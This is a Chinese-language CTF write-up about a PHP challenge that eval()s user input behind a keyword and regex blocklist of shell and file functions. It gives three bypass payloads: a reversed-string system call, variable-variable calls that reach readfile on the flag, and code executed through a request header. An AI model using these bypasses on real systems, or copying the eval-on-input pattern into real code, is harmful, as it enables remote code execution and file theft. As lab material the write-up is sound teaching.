Background

Kit师傅发了我一道web题 但是据我开始调到结束就不到半小时 环境就关了,还好存了份本地,看了看发现解法有很多

Source-code

<?php
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['print'])) {
  if (!empty($_GET['print'])){
    $printValue= strtolower($_GET['print']);
    $blocked = array("cat", "more" ,"readfile", "fopen", "file_get_contents", "file", "SplFileObject" );
    $special_block= "nc";
    $$special_block= "./flag.txt";
    foreach ($blocked as $value) {
      if (strpos($printValue, $value) || preg_match('/\bsystem|\bexec|\bbin2hex|\bassert|\bpassthru|\bshell_exec|\bescapeshellcmd| \bescapeshellarg|\bpcntl_exec|\busort|\bpopen|\bflag\.txt|\bspecial_block|\brequire|\bscandir|\binclude|\bhex2bin|\$[a-zA-Z]|[#!%^&*_+=\-,\.:`|<>?~\\\\]/i', $printValue)) {
        $printValue="";
        echo "<script>alert('Bad character/word ditected!');</script>";
        break;
      }
    }
  eval($printValue . ";");
  } 
}
?>

分析与调试分析

ban了好多函数 甚至连scandir这种无参数rce 和异或取反号都ban了 但比较有意思的点是这个$$可变变量表示flag.txt
调试方法 在命令行 执行php -S 0:8001

solve 1

因为有eval方法可以执行 他虽然ban掉关键字样 但我们可以考虑以前python沙盒逃逸的思路 切片或者reverse
php里面可以用strreverse 来执行
payload:eval(strrev(";)sl(metsys"));
即可执行列目录等操作

solve 2

我们知道 php是支持动态执行代码的
5B49852D-0C8F-4592-9A6C-0B57E1368481.png
就像这样 但是正则里$[a-zA-Z] 防止我们直接对变量进行操作
但实际上 在php5.x以上
就可以支持${}这种花括号调用
3A2A0789-573C-43C5-A619-BF64507C960F.png
可以看到虽然报错了 但还是成功执行了命令
那我们可以看到$blocked变量里面是一个数组形式的读文件的函数列表
如果我们选择正确的函数 然后再用$nc这个变量
经过查看只有readfile能读取并回显'./flag.txt'文件
最终payload ${blocked}[2](${nc})

solve 3

是我在一个微信公众号上看到的思路
end(getallheaders())
用这种无参数的方式 然后在头里面执行函数也是可以的

后记

作为一个ctfer,还是要思路灵活 多看多审多写代码